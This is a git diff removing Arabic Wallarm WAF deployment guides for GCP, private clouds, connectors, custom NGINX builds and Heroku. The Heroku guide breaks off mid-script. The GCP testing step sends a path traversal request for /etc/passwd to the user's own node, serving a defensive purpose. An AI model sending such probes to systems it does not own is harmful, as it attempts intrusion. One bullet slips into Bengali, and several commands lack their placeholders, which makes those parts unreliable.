-* تم تثبيت [Google Cloud SDK (gcloud CLI)](https://cloud.google.com/sdk/docs/quickstart) وتكوينه -* الوصول إلى الحساب ذو الدور **Administrator** والمصادقة الثنائية العوامل معطلة في Wallarm Console لـ [US Cloud](https://us1.my.wallarm.com/) أو [EU Cloud](https://my.wallarm.com/) - -## خيارات تكوين حاوية Docker للعقدة Wallarm - ---8<-- "../include/waf/installation/docker-running-options.md" - -## نشر حاوية Docker للعقدة Wallarm المكونة من خلال المتغيرات البيئية - -لنشر عقدة الفلترة المضمنة في حاوية Wallarm المكونة فقط من خلال المتغيرات البيئية، يمكنك استخدام [واجهه GCP Console أو gcloud CLI](https://cloud.google.com/compute/docs/containers/deploying-containers). في هذه التعليمات، يتم استخدام gcloud CLI. - ---8<-- "../include/waf/installation/get-api-or-node-token.md" - -1. قم بتعيين متغير البيئة المحلي مع رمز عقدة Wallarm الذي سيتم استخدامه لربط النسخة بـ Wallarm Cloud: - - ```bash - export WALLARM_API_TOKEN='' - ``` -1. قم بإنشاء العينة مع حاوية Docker الجاري تشغيلها باستخدام الأمر [`gcloud compute instances create-with-container`](https://cloud.google.com/sdk/gcloud/reference/compute/instances/create-with-container): - - === "الأمر لـ Wallarm US Cloud" - ```bash - gcloud compute instances create-with-container \ - --zone \ - --tags http-server \ - --container-env WALLARM_API_TOKEN=${WALLARM_API_TOKEN} \ - --container-env NGINX_BACKEND= \ - --container-env WALLARM_API_HOST=us1.api.wallarm.com \ - --container-image registry-1.docker.io/wallarm/node:4.10.4-1 - ``` - === "الأمر لـ Wallarm EU Cloud" - ```bash - gcloud compute instances create-with-container \ - --zone \ - --tags http-server \ - --container-env WALLARM_API_TOKEN=${WALLARM_API_TOKEN} \ - --container-env NGINX_BACKEND= \ - --container-image registry-1.docker.io/wallarm/node:4.10.4-1 - ``` - - * ``: اسم العينة، على سبيل المثال: `wallarm-node`. - * `--zone`: [المنطقة](https://cloud.google.com/compute/docs/regions-zones) التي ستستضيف العينة. - * `--tags`: علامات العينة. تستخدم العلامات لتكوين توفر العينة للموارد الأخرى. في الحالة الحالية، يتم تعيين العلامة `http-server` التي تفتح منفذ 80 للعينة. - * `--container-image`: الرابط إلى صورة Docker للعقدة الفاصلة. - * `--container-env`: المتغيرات البيئية مع تكوين العقدة الفاصلة (المتغيرات المتاحة مدرجة في الجدول أدناه). يرجى ملاحظة أنه لا يُنصح بتمرير قيمة `WALLARM_API_TOKEN` صراحة. - - --8<-- "../include/waf/installation/nginx-docker-all-env-vars-latest.md" - - * يتم وصف جميع معلمات الأمر `gcloud compute instances create-with-container` في [توثيق GCP](https://cloud.google.com/sdk/gcloud/reference/compute/instances/create-with-container). -1. قم بفتح [GCP Console → **Compute Engine** → VM instances](https://console.cloud.google.com/compute/instances) وتأكد من أن العينة معروضة في القائمة. -1. [اختبر تشغيل العقدة الفاصلة](#testing-the-filtering-node-operation). - -## نشر حاوية Docker للعقدة Wallarm المكونة من خلال الملف المثبت - -لنشر عقدة الفلترة المضمنة في حاوية Wallarm المكونة من خلال المتغيرات البيئية والملف المثبت، يجب أن تقوم بإنشاء العينة، تحديد ملف تكوين العقدة الفاصلة في نظام الملفات هذه العينة وتشغيل حاوية Docker في هذه العينة. يمكنك تنفيذ هذه الخطوات عبر [واجهه GCP Console أو gcloud CLI](https://cloud.google.com/compute/docs/containers/deploying-containers). في هذه التعليمات، يتم استخدام gcloud CLI. - ---8<-- "../include/waf/installation/get-api-or-node-token.md" - -1. قم بإنشاء العينة على أساس أي صورة تشغيل لنظام التشغيل من سجل Compute Engine باستخدام الأمر [`gcloud compute instances create`](https://cloud.google.com/sdk/gcloud/reference/compute/instances/create): - - ```bash - gcloud compute instances create \ - --image \ - --zone \ - --tags http-server - ``` - - * ``: اسم العينة. - * `--image`: اسم صورة نظام التشغيل من سجل Compute Engine. العينة المُنشأة ستكون مبنية على هذه الصورة وستتم استخدامها لتشغيل حاوية Docker في وقت لاحق. إذا تم حذف هذه الباراميتر، ستكون العينة مبنية على صورة Debian 10. - * `--zone`: [المنطقة](https://cloud.google.com/compute/docs/regions-zones) التي ستستضيف العينة. - * `--tags`: علامات العينة. تستخدم العلامات لتكوين توفر العينة للموارد الأخرى. في الحالة الحالية، يتم تعيين العلامة `http-server` التي تفتح منفذ 80 للعينة. - * يتم وصف جميع معلمات الأمر `gcloud compute instances create` في [توثيق GCP](https://cloud.google.com/sdk/gcloud/reference/compute/instances/create). -1. قم بفتح [GCP Console → **Compute Engine** → VM instances](https://console.cloud.google.com/compute/instances) وتأكد من أن العينة معروضة في القائمة وأنها في حالة **RUNNING**. -1. قم بالاتصال بالعينة عبر SSH وفقًا لـ [تعليمات GCP](https://cloud.google.com/compute/docs/instances/ssh). -1. قم بتثبيت حزم Docker في العينة وفقًا للـ [تعليمات لنظام التشغيل المناسب](https://docs.docker.com/engine/install/#server). -1. قم بتعيين متغير البيئة المحلي مع رمز عقدة Wallarm الذي سيتم استخدامه لربط العينة بـ Wallarm Cloud: - - ```bash - export WALLARM_API_TOKEN='' - ``` -1. في العينة، قم بإنشاء الدليل مع الملف `default` الذي يحتوي على تكوين العقدة الفاصلة (على سبيل المثال، يمكن أن يُسمى الدليل `configs`). مثال على الملف مع الإعدادات القليلة: - - ```bash - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - #listen 443 ssl; - - server_name localhost; - - #ssl_certificate cert.pem; - #ssl_certificate_key cert.key; - - root /usr/share/nginx/html; - - index index.html index.htm; - - wallarm_mode monitoring; - # wallarm_application 1; - - location / { - proxy_pass http://example.com; - include proxy_params; - } - } - ``` - - [مجموعة من التوجيهات الفاصلة للعقدة التي يمكن تحديدها في ملف التكوين →][nginx-waf-directives] -1. قم بتشغيل حاوية Docker للعقدة Wallarm باستخدام الأمر `docker run` مع المتغيرات البيئية المُمررة والملف التكوين المثبت: - - === "الأمر لـ Wallarm US Cloud" - ```bash - docker run -d -e WALLARM_API_TOKEN=${WALLARM_API_TOKEN} -e WALLARM_LABELS='group=' -e WALLARM_API_HOST='us1.api.wallarm.com' -v : -p 80:80 wallarm/node:4.10.4-1 - ``` - === "الأمر لـ Wallarm EU Cloud" - ```bash - docker run -d -e WALLARM_API_TOKEN=${WALLARM_API_TOKEN} -e WALLARM_LABELS='group=' -v : -p 80:80 wallarm/node:4.10.4-1 - ``` - - * ``: المسار إلى الملف التكوين الذي تم إنشاؤه في الخطوة السابقة. على سبيل المثال، `configs`. - * ``: الدليل للحاوية لتثبيت الملف التكوين. يمكن تثبيت الملفات التكوين على الدلائل التالية المستخدمة بواسطه NGINX: - - * `/etc/nginx/conf.d` — الإعدادات الشائعة - * `/etc/nginx/sites-enabled` — إعدادات الاستضافة الافتراضية - * `/var/www/html` — الملفات الثابتة - - يجب وصف توجيهات العقدة الفاصلة في الملف `/etc/nginx/sites-enabled/default`. - - * `-p`: منفذ يستمع إليه العقدة الفاصلة. القيمة يجب أن تكون نفس منفذ العينة.. - * `-e`: এর মাধ্যমে ফিল্টারিং নোড কনফিগারেশনের পরিবেশ চলকগুলি (নিম্ন তালিকাভুক্ত চলকগুলি উপলব্ধ). অনুগ্রহ করে মনে রাখবেন যে `WALLARM_API_TOKEN` এর মান সরাসরি পাস করার জন্য প্রস্তাব দেওয়া হয়নি। - - --8<-- "../include/waf/installation/nginx-docker-env-vars-to-mount-latest.md" -1. [اختبار تشغيل العقدة الفاصلة](#testing-the-filtering-node-operation)。 - -## اختبار تشغيل العقدة الفاصلة - -1. قم بفتح [GCP Console → **Compute Engine** → VM instances](https://console.cloud.google.com/compute/instances) وانسخ عنوان IP للعينة من عمود **External IP**. - - ![إعداد عينة الحاوية][copy-container-ip-gcp-img] - - إذا كان عنوان IP فارغًا، تأكد من أن العينة في حالة **RUNNING**. - -2. أرسل الطلب مع هجوم اختبار [Path Traversal][ptrav-attack-docs] إلى العنوان المنسوخ: - - ``` - curl http:///etc/passwd - ``` -3. قم بفتح Wallarm Console → **Attacks** في [US Cloud](https://us1.my.wallarm.com/attacks) أو [EU Cloud](https://my.wallarm.com/attacks) وتأكد من أن الهجوم معروض في القائمة. - ![الهجمات في واجهة المستخدم][attacks-in-ui-image] - -تتم عرض التفاصيل حول الأخطاء التي حدثت أثناء نشر الحاوية في القائمة **View logs** للعينة. إذا كانت العينة غير متاحة، يرجى التأكد من أن التكوين الفاصلة للعقدة المطلوبة مع القيم الصحيحة تُمرَر إلى الحاوية. \ No newline at end of file diff --git a/docs/latest-ar/installation/cloud-platforms/gcp/machine-image.md b/docs/latest-ar/installation/cloud-platforms/gcp/machine-image.md deleted file mode 100644 index dfafa97c13..0000000000 --- a/docs/latest-ar/installation/cloud-platforms/gcp/machine-image.md +++ /dev/null @@ -1,32 +0,0 @@ -[رابط-إطلاق-النسخة]: https://cloud.google.com/deep-learning-vm/docs/quickstart-marketplace - -[صورة-توليد-مفتاح-ssh]: ../../../images/installation-gcp/common/ssh-key-generation.png -[سياسة-الإصدار]: ../../../updating-migrating/versioning-policy.md#version-list -[صورة-واجهة-مستخدمي-wallarm]: ../../../images/check-user-no-2fa.png -[صورة-إنشاء-نقطة-wallarm]: ../../../images/user-guides/nodes/create-cloud-node.png -[وثائق-منصة-النشر]: ../../../installation/supported-deployment-options.md - -[رمز-العقدة]: ../../../quickstart.md#deploy-the-wallarm-filtering-node -[رمز-api]: ../../../user-guides/settings/api-tokens.md -[أنواع-رموز-wallarm]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[المنصة]: ../../../installation/supported-deployment-options.md -[وثائق-هجمات-ptrav]: ../../../attacks-vulns-list.md#path-traversal -[صورة-الهجمات-في-واجهة-المستخدم]: ../../../images/admin-guides/test-attacks-quickstart.png -[توجيهات-nginx-لـwallarm]: ../../../admin-en/configure-parameters-en.md -[وثائق-التوسع-التلقائي]: ../../../admin-en/installation-guides/google-cloud/autoscaling-overview.md -[وثائق-ip-الحقيقي]: ../../../admin-en/using-proxy-or-balancer-en.md -[وثائق-تخصيص-الذاكرة]: ../../../admin-en/configuration-guides/allocate-resources-for-node.md -[تحديد-معالجة-الطلبات]: ../../../user-guides/rules/configure-overlimit-res-detection.md -[وثائق-السجلات]: ../../../admin-en/configure-logging.md -[مزايا-وقيود-oob]: ../../oob/overview.md#advantages-and-limitations -[وضع-wallarm]: ../../../admin-en/configure-wallarm-mode.md -[وثائق-inline]: ../../inline/overview.md -[وثائق-oob]: ../../oob/overview.md -[وصول-wallarm-api-عبر-proxy]: ../../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[أمثلة-تهيئة-مخدم-الويب-لعكس-المرور]: ../../oob/web-server-mirroring/overview.md#examples-of-web-server-configuration-for-traffic-mirroring -[صورة-العقد-المجمعة]: ../../../images/user-guides/nodes/grouped-nodes.png -[مواصفات-cloud-init]: ../../cloud-platforms/cloud-init.md -[توجيه-wallarm_force]: ../../../admin-en/configure-parameters-en.md#wallarm_force -[link-wallarm-health-check]: ../../../admin-en/uat-checklist-en.md - ---8<-- "../include/waf/installation/cloud-platforms/article-for-inline-oob-gcp-image.md" \ No newline at end of file diff --git a/docs/latest-ar/installation/cloud-platforms/private-cloud.md b/docs/latest-ar/installation/cloud-platforms/private-cloud.md deleted file mode 100644 index 517a36d853..0000000000 --- a/docs/latest-ar/installation/cloud-platforms/private-cloud.md +++ /dev/null @@ -1,53 +0,0 @@ -[ip-lists-docs]: ../../user-guides/ip-lists/overview.md - -# نشر Wallarm في السحابات الخاصة - -السحابات الخاصة هي بيئات سحابية مُنشأة لمنظمة أو كيان واحد، توفر استخدامًا وتحكمًا حصريًا بالموارد. هذه المقالة تستعرض مبادئ نشر عقدة Wallarm في السحابات الخاصة. - -## الخطوة 1: فهم نطاقك وطريقتك لنشر Wallarm - -قبل نشر Wallarm في السحابة الخاصة بك، من الضروري فهم نطاق منظر تطبيقاتك وتحديد الطريقة الأنسب لنشر Wallarm. يُرجى النظر في الخصائص التالية خلال هذا التقييم: - -* تقييم نطاق لتأمينه: تقييم منظر التطبيقات الخاص بك وتحديد التطبيقات الحرجة التي تتطلب الحماية. ضع في اعتبارك عوامل مثل حساسية البيانات، التأثير المحتمل للانتهاكات، ومتطلبات الامتثال. هذا التقييم يساعدك في تحديد الأولويات والتركيز على حماية أهم الأصول في السحابة الخاصة بك. -* التحليل [عبر الخط](../inline/overview.md) مقابل التحليل [خارج الخط (OOB)](../oob/overview.md): تحديد ما إذا كنت تريد نشر Wallarm لتحليل عبر الخط أو لتحليل حركة المرور المعكوسة خارج الخط. يتضمن التحليل عبر الخط نشر عقد Wallarm في مسار حركة مرور تطبيقاتك، بينما يتضمن التحليل خارج الخط التقاط وتحليل حركة المرور المعكوسة. -* وضع عقد Wallarm: استنادًا إلى طريقتك المختارة (تحليل عبر الخط أو خارج الخط)، تحديد وضعية عقد Wallarm المناسبة ضمن بنية السحابة الخاصة بك. للتحليل عبر الخط، ضع في اعتبارك وضع عقد Wallarm بالقرب من تطبيقاتك، مثل داخل نفس VLAN أو الشبكة الفرعية. للتحليل خارج الخط، تأكد من أن حركة المرور المعكوسة سيتم توجيهها بشكل صحيح إلى عقد Wallarm للتحليل. - -## الخطوة 2: السماح بالاتصالات الصادرة لـ Wallarm - -في السحابات الخاصة، غالبًا ما توجد قيود على الاتصالات الصادرة. لضمان عمل Wallarm بشكل صحيح، من الضروري تمكين الاتصالات الصادرة، للسماح بتنزيل الحزم أثناء التثبيت، وإقامة اتصال شبكي بين نسخ عقدة المحلية و Wallarm Cloud، وتشغيل ميزات Wallarm بشكل كامل. - -يتم منح الوصول في السحابات الخاصة عادةً استنادًا إلى عناوين IP. يتطلب Wallarm الوصول إلى السجلات DNS التالية: - -* The following addresses to have access to the Wallarm Cloud to get security rules, upload attack data, etc. - - --8<-- "../include/wallarm-cloud-ips.md" -* عناوين IP المستخدمة بواسطة Docker Hub في حال اخترت تشغيل Wallarm من صورة Docker. -* `34.111.12.147` (`repo.wallarm.com`) في حال اخترت تثبيت عقدة Wallarm من حزم Linux الفردية لـ [NGINX stable](../nginx/dynamic-module.md)/[NGINX Plus](../nginx-plus.md)/[NGINX المُقدم من التوزيع](../nginx/dynamic-module-from-distr.md). يتم تنزيل حزم تثبيت العقدة من هذا العنوان. -* `35.244.197.238` (`https://meganode.wallarm.com`) في حال اخترت تثبيت Wallarm من [مثبت شامل](../nginx/all-in-one.md). يتم تنزيل المثبت من هذا العنوان. -* Access to the IP addresses below for downloading updates to attack detection rules, as well as retrieving precise IPs for your allowlisted, denylisted, or graylisted countries, regions, or data centers - - --8<-- "../include/wallarm-cloud-ips.md" - -## الخطوة 3: اختيار نموذج النشر ومكون Wallarm - -تقدم Wallarm نماذج نشر مرنة، تسمح للمنظمات باختيار الخيار الأنسب لبيئة السحابة الخاصة بها. اثنان من نماذج النشر الشائعة هما **نشر الأجهزة الافتراضية** و**نشر Kubernetes**. - -### نشر الأجهزة الافتراضية - -في هذا النموذج، تنشر Wallarm كجهاز افتراضي ضمن بنية السحابة الخاصة بك. يمكن تثبيت الجهاز الافتراضي كـ VM أو حاوية. يمكنك اختيار نشر عقدة Wallarm باستخدام أحد المكونات التالية: - -* صور Docker: - * [صورة Docker المبنية على NGINX](../../admin-en/installation-docker-en.md) - * [صورة Docker المبنية على Envoy](../../admin-en/installation-guides/envoy/envoy-docker.md) -* حزم Linux: - * [حزم Linux الفردية لـ NGINX stable](../nginx/dynamic-module.md) - * [حزم Linux الفردية لـ NGINX Plus](../nginx-plus.md) - * [حزم Linux الفردية للـ NGINX المُقدم من التوزيع](../nginx/dynamic-module-from-distr.md) - * [المثبت الشامل لـ Linux](../nginx/all-in-one.md) - -### نشر Kubernetes - -إذا كانت السحابة الخاصة بك تستخدم Kubernetes لتنسيق الحاويات، يمكن نشر Wallarm كحل أصلي لـ Kubernetes. يتكامل بسلاسة مع مجموعات Kubernetes، مستفيداً من الميزات مثل وحدات التحكم في الدخول، حاويات جانبية، أو موارد Kubernetes المخصصة. يمكنك اختيار نشر Wallarm باستخدام أحد الحلول التالية: - -* [وحدة تحكم الدخول المبنية على NGINX](../../admin-en/installation-kubernetes-en.md) -* [وحدة تحكم الحارس الجانبي](../kubernetes/sidecar-proxy/deployment.md) \ No newline at end of file diff --git a/docs/latest-ar/installation/connectors/aws-api-gateway.md b/docs/latest-ar/installation/connectors/aws-api-gateway.md deleted file mode 100644 index 2bee2cf60c..0000000000 --- a/docs/latest-ar/installation/connectors/aws-api-gateway.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/connectors/aws-api-gateway.md" \ No newline at end of file diff --git a/docs/latest-ar/installation/connectors/overview.md b/docs/latest-ar/installation/connectors/overview.md deleted file mode 100644 index 7974779e75..0000000000 --- a/docs/latest-ar/installation/connectors/overview.md +++ /dev/null @@ -1,40 +0,0 @@ -# نشر Wallarm باستخدام الوصلات - -يمكن إجراء نشر واجهة برمجة التطبيقات (API) بطرق مختلفة، بما في ذلك استخدام أدوات خارجية مثل Azion Edge وAkamai Edge وMuleSoft وApigee وAWS Lambda. إذا كنت تبحث عن طريقة لتأمين هذه الواجهات بواسطة Wallarm، فإننا نقدم حلاً على شكل "وصلات" مصممة خصيصًا لهذه الحالات. - -## كيفية عملها - -تتضمن الحل نشر عقدة Wallarm خارجيًا وإدخال شفرة برمجية مخصصة أو سياسات داخل المنصة المحددة. هذا يمكّن من توجيه حركة المرور إلى العقدة الخارجية لتحليلها وحمايتها من التهديدات المحتملة. تُعرف بوصلات Wallarm، وتعمل كحلقة الوصل الأساسية بين المنصات والعقدة الخارجية لـ Wallarm. - -توضح الخطة التالية تدفق حركة المرور بمستوى عال من التفصيل في وضع حجب Wallarm: - -![image](../../images/waf-installation/general-traffic-flow-for-connectors.png) - -يتم تحليل حركة المرور على الخط، حيث يلتقط الشفرة البرمجية لـ Wallarm الطلبات ويوجهها إلى العقدة للتحليل. اعتمادًا على الرد من العقدة، يتم حجب النشاطات الخبيثة، ويُسمح فقط للطلبات المشروعة بالوصول إلى واجهات برمجة التطبيقات. - -بديلًا، يسمح وضع المراقبة للمستخدمين بالتعرف على التهديدات المحتملة التي قد تواجه التطبيقات وواجهات برمجة التطبيقات. في هذا الوضع، يظل منطق تدفق البيانات كما هو، لكن العقدة لا تحجب الهجمات، فقط تسجلها وتُسجلها في سحابة Wallarm، والتي يمكن الوصول إليها من خلال واجهة Wallarm. - -## حالات استخدام - -* تأمين جميع واجهات برمجة التطبيقات المنشورة مع Azion Edge وAkamai Edge وMuleSoft وApigee وAWS Lambda أو أداة مماثلة عن طريق إنشاء عنصر واحد فقط في البنية التحتية الحالية - العنصر مثل شفرة/سياسة/وكيل Wallarm اعتمادًا على الحل المستخدم. -* المطالبة بحل أمان يقدم ملاحظة شاملة للهجمات وتقريرها وحجب الطلبات الخبيثة فورًا. - -## التحديات - -يواجه الحل بعض التحديات حيث أنه يعمل فقط مع الطلبات الواردة: - -* اكتشاف الثغرات الأمنية باستخدام طريقة الاكتشاف [السلبي](../../about-wallarm/detecting-vulnerabilities.md#passive-detection) لا يعمل بشكل صحيح. يحدد الحل ما إذا كانت واجهة برمجة التطبيقات عرضة للخطر أم لا بناءً على الردود من الخادم على الطلبات الخبيثة التي تكون نموذجية للثغرات التي يختبرها. -* لا يمكن لـ[اكتشاف واجهة برمجة التطبيقات](../../api-discovery/overview.md) استكشاف قائمة واجهات برمجة التطبيقات استنادًا إلى حركة المرور لديك، حيث يعتمد الحل على تحليل الردود. -* [الحماية من التصفح القسري](../../admin-en/configuration-guides/protecting-against-bruteforce.md) غير متاحة نظرًا لأنها تتطلب تحليل رموز الرد. - -## خيارات النشر المدعومة - -حاليًا، Wallarm تقدم وصلات للمنصات التالية: - -* [MuleSoft](mulesoft.md) -* [Apigee](apigee.md) -* [عمال الحافة Akamai](akamai-edgeworkers.md) -* [Azion Edge](azion-edge.md) -* [AWS Lamdba](aws-lambda.md) - -إذا لم تجد الوصلة التي تبحث عنها، فلا تتردد في الاتصال بفريق [المبيعات](mailto:sales@wallarm.com) لمناقشة متطلباتك واستكشاف الحلول المحتملة. \ No newline at end of file diff --git a/docs/latest-ar/installation/custom/custom-nginx-version.md b/docs/latest-ar/installation/custom/custom-nginx-version.md deleted file mode 100644 index 88f403a423..0000000000 --- a/docs/latest-ar/installation/custom/custom-nginx-version.md +++ /dev/null @@ -1,25 +0,0 @@ -# حزم NGINX المخصصة - -إذا كنت بحاجة إلى حزم Wallarm DEB/RPM لنسخة NGINX مختلفة عن النسخة الثابتة، أو NGINX Plus، أو نسخة التوزيع، يمكنك طلب بناء Wallarm مخصص باتباع هذه التعليمات. - -بشكل افتراضي، تتوفر حزم Wallarm DEB/RPM للنسخ التالية من NGINX: - -* NGINX المفتوح المصدر الرسمي `الثابت` - راجع [تعليمات التثبيت](../nginx/dynamic-module.md) -* NGINX المقدم من التوزيع - راجع [تعليمات التثبيت](../nginx/dynamic-module-from-distr.md) -* NGINX Plus الرسمي التجاري - راجع [تعليمات التثبيت](../nginx-plus.md) - -يمكن دمج وحدة Wallarm مع بناء مخصص من NGINX، بما في ذلك NGINX `الرئيسي`، من خلال إعادة بناء حزم Wallarm. لإعادة بناء الحزم، يرجى الاتصال بفريق [الدعم الفني لـ Wallarm](mailto:support@wallarm.com) وتقديم المعلومات التالية: - -* نسخة النواة لينكس: `uname -a` -* توزيع لينكس: `cat /etc/*release` -* نسخة NGINX: - - * [البناء الرسمي لـ NGINX](https://nginx.org/en/linux_packages.html): `/usr/sbin/nginx -V` - * البناء المخصص لـ NGINX: `<مسار إلى nginx>/nginx -V` - -* توقيع التوافق: - - * [البناء الرسمي لـ NGINX](https://nginx.org/en/linux_packages.html): `egrep -ao '.,.,.,[01]{33}' /usr/sbin/nginx` - * البناء المخصص لـ NGINX: `egrep -ao '.,.,.,[01]{33}' <مسار إلى nginx>/nginx` - -* المستخدم (ومجموعة المستخدم) الذي يدير عمليات عامل NGINX: `grep -w 'user' <مسار-إلى-ملفات-تكوين-NGINX/nginx.conf>` \ No newline at end of file diff --git a/docs/latest-ar/installation/custom/request-custom-deployment.md b/docs/latest-ar/installation/custom/request-custom-deployment.md deleted file mode 100644 index 428f0f4306..0000000000 --- a/docs/latest-ar/installation/custom/request-custom-deployment.md +++ /dev/null @@ -1,17 +0,0 @@ -# خيارات التوزيع المخصصة - -إذا كنت مهتمًا بخيارات التوزيع المخصصة التي لا تظهر ضمن قائمة [الخيارات المدعومة](../supported-deployment-options.md) لدينا، يسعدنا التعاون معك لإيجاد حل يتناسب تمامًا مع احتياجاتك الفريدة. - -هناك العديد من السيناريوهات التي قد تتطلب بناء نشر مخصص لـWallarm، مثل متطلبات البنية التحتية المحددة، واحتياجات الأمان، والاعتمادات التكاملية، والمزيد. فيما يلي بعض الأمثلة على الحالات التي قد تكون فيها ضرورة لبناء نشر مخصص: - -* الخدمات تعمل على منصة سحابية غير مدرجة كخيار مدعوم. -* إجراء التوزيع يتضمن مزيجًا من عدة تقنيات أو يعمل في بيئات مختلطة مع مزيج من البنية التحتية السحابية والمحلية، مما يجعل من الصعب اختيار الخيار الصحيح للتوزيع من القائمة المحددة مسبقًا. -* تتطلب حلًا خارج النطاق لمرآة حركة مرور مصممة خصيصًا. -* الخدمات متوافقة مع إصدارات أو أنواع مخصصة من وحدات التحكم في الدخول، الخوادم الوب، الموازنات الحمل، إلخ التي لا يُشار إليها في الوثائق. - - إذا كنت تبحث عن حزم Wallarm DEB/RPM لإصدار NGINX مخصص، للاطلاع على [التعليمات المحددة](custom-nginx-version.md) حول كيفية الحصول عليها. - -لطلب خيار توزيع Wallarm مخصص: - -* [اتصل بفريق مبيعات Wallarm](mailto:sales@wallarm.com?subject=Request%20for%20custom%20Wallarm%20deployment&body=Hello%20Wallarm%20Sales%20Team%2C%0AI%27m%20writing%20to%20explore%20a%20Wallarm%20deployment%20option%20for%20my%20product%20security.%20I%20couldn%27t%20find%20what%20I%20need%20among%20the%20listed%20options%20in%20your%20documentation%2C%20and%20I%20would%20appreciate%20your%20help%20to%20explore%20the%20possibilities.%0AI%20would%20be%20happy%20to%20schedule%20a%20call%20with%20you%20to%20discuss%20my%20requirements%20in%20detail.%0AThank%20you%20for%20your%20time%20and%20assistance.)، أو -* [جدولة مكالمة شخصية من خلال نموذج طلب العرض التوضيحي](https://www.wallarm.com/request-demo) \ No newline at end of file diff --git a/docs/latest-ar/installation/heroku/docker-image.md b/docs/latest-ar/installation/heroku/docker-image.md deleted file mode 100644 index 0823e3ce59..0000000000 --- a/docs/latest-ar/installation/heroku/docker-image.md +++ /dev/null @@ -1,437 +0,0 @@ -[وثائق-قوائم-ip]: ../../user-guides/ip-lists/overview.md -[أنواع-الرموز-للعقدة]: ../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[وثائق-الهجوم-باستخدام-التجاوز]: ../../attacks-vulns-list.md#path-traversal -[صورة-للواجهة-توضح-الهجمات]: ../../images/admin-guides/test-attacks-quickstart.png -[وثائق-مكون-الإحصائيات]: ../../admin-en/configure-statistics-service.md -[جميع-الوثائق-في-مكان-واحد]: ../nginx/all-in-one.md -[تعليمات-أمر-والارم-في-إنجينكس]: ../../admin-en/configure-parameters-en.md -[وثائق-أنماط-التنقية]: ../../admin-en/configure-wallarm-mode.md#available-filtration-modes - -# تشغيل Wallarm على Heroku - -يمكن لـ Wallarm حماية التطبيقات الويب وواجهات البرمجة للتطبيقات (APIs) المنتشرة على منصة السحابة [Heroku](https://www.heroku.com/). يوجهك هذا الدليل خلال عملية تشغيل العقدة Wallarm على Heroku لتحليل حركة المرور في الوقت الحقيقي. - -حاليا، لا يوجد صورة Docker رسمية لـ Heroku من Wallarm. لذلك، يشرح هذا الدليل كيفية إنشاء وتشغيل الخاصة بك باستخدام برنامج التثبيت [الكل في واحد][جميع-الوثائق-في-مكان-واحد] الخاص بنا. - -## المتطلبات - -* تثبيت [Docker](https://docs.docker.com/engine/install/) على نظام الاستضافة الخاص بك -* حساب Docker لدفع صورة Docker الخاصة بـ Heroku Wallarm -* تثبيت [واجهة الأوامر لـ Heroku CLI](https://devcenter.heroku.com/articles/heroku-cli) على نظام الاستضافة الخاص بك -* التطبيقات أو واجهات برمجة التطبيقات تعمل على وحدات web dynos في Heroku -* الوصول كمسؤول إلى وحدة التحكم Wallarm في [السحابة الأمريكية](https://us1.my.wallarm.com/) أو [السحابة الأوروبية](https://my.wallarm.com/) -* الوصول إلى `https://meganode.wallarm.com` لتنزيل برنامج التثبيت الشامل لـ Wallarm -* الوصول إلى `https://us1.api.wallarm.com` للعمل مع السحابة الأمريكية لـ Wallarm ، أو إلى `https://api.wallarm.com` للعمل مع السحابة الأوروبية لـ Wallarm -* Access to the IP addresses below for downloading updates to attack detection rules, as well as retrieving precise IPs for your allowlisted, denylisted, or graylisted countries, regions, or data centers - - --8<-- "../include/wallarm-cloud-ips.md" - -## الخطوة 1: إعداد تكوين Docker لـ Wallarm - -لنشر صورة Docker لـ Wallarm على Heroku، ابدأ بإنشاء الملفات التكوينية اللازمة لعملية بناء الصورة. اتبع هذه الخطوات: - -1. على النظام المحلي الخاص بك, قم بإنشاء دليل خاص بتكوينات Docker الخاصة بـ Wallarm وانتقل إليه. -1. أنشئ ملف `nginx.conf` مع تفاصيل تكوين NGINX. نظرًا لأن الصورة Docker ستعتمد على البرنامج [الكل في واحد المتوافق مع NGINX][جميع-الوثائق-في-مكان-واحد]، فمن الهام تكوين NGINX على النحو الأمثل. - - ``` - daemon off; - worker_processes auto; - load_module /opt/wallarm/modules/bullseye-1180/ngx_http_wallarm_module.so; - pid /tmp/nginx.pid; - include /etc/nginx/modules-enabled/*.conf; - - events { - worker_connections 768; - # multi_accept on; - } - - http { - proxy_temp_path /tmp/proxy_temp; - client_body_temp_path /tmp/client_temp; - fastcgi_temp_path /tmp/fastcgi_temp; - uwsgi_temp_path /tmp/uwsgi_temp; - scgi_temp_path /tmp/scgi_temp; - - sendfile on; - tcp_nopush on; - tcp_nodelay on; - keepalive_timeout 65; - types_hash_max_size 2048; - server_tokens off; - - # server_names_hash_bucket_size 64; - # server_name_in_redirect off; - - include /etc/nginx/mime.types; - default_type application/octet-stream; - - access_log /var/log/nginx/access.log; - error_log /var/log/nginx/error.log; - - include /etc/nginx/conf.d/*.conf; - include /etc/nginx/sites-enabled/*; - } - ``` - -1. قم بصياغة ملف `default.conf` مع تكوينات Wallarm. استخدم [تعليمات أمر والارم لإنجينكس][تعليمات-أمر-والارم-في-إنجينكس] لتخصيص العقدة Wallarm وفقا لمتطلباتك الخاصة. - - إنه القالب الذي يحتوي على التكوين الأساسي الذي يعمل عليها العقدة Wallarm في وضع المراقبة: - - ``` - server { - listen $PORT default_server; - server_name _; - wallarm_mode monitoring; - - location / { - proxy_pass http://unix:/tmp/nginx.socket; - include proxy_params; - # Heroku apps are always behind a load balancer, which is why we trust all IPs - set_real_ip_from 0.0.0.0/0; - real_ip_header X-Forwarded-For; - real_ip_recursive off; - } - - error_page 403 /403.html; - location = /403.html { - root /usr/share/nginx/html; - internal; - } - } - - server { - listen 127.0.0.8:$PORT; - server_name localhost; - allow 127.0.0.0/8; - deny all; - wallarm_mode off; - disable_acl "on"; - access_log off; - location ~/wallarm-status$ { - wallarm_status on; - } - } - ``` - -1. أنشئ الملف التالي `entrypoint.sh` باستخدام التعليمات المرجعية لصورة Docker لـ Wallarm: - - ``` - #!/bin/bash - - set -e - - if [ ! -z "$WALLARM_API_TOKEN" ]; then - echo "WALLARM_API_TOKEN is set, checking configuration" - if [[ $DYNO == web.* ]]; then - echo "Heroku dyno type [$DYNO] is 'web', running Wallarm configuration scripts" - # Configure PORT in nginx config - sed -i "s/\$PORT/$PORT/g" /etc/nginx/sites-available/default - # Register Wallarm node in the Cloud - 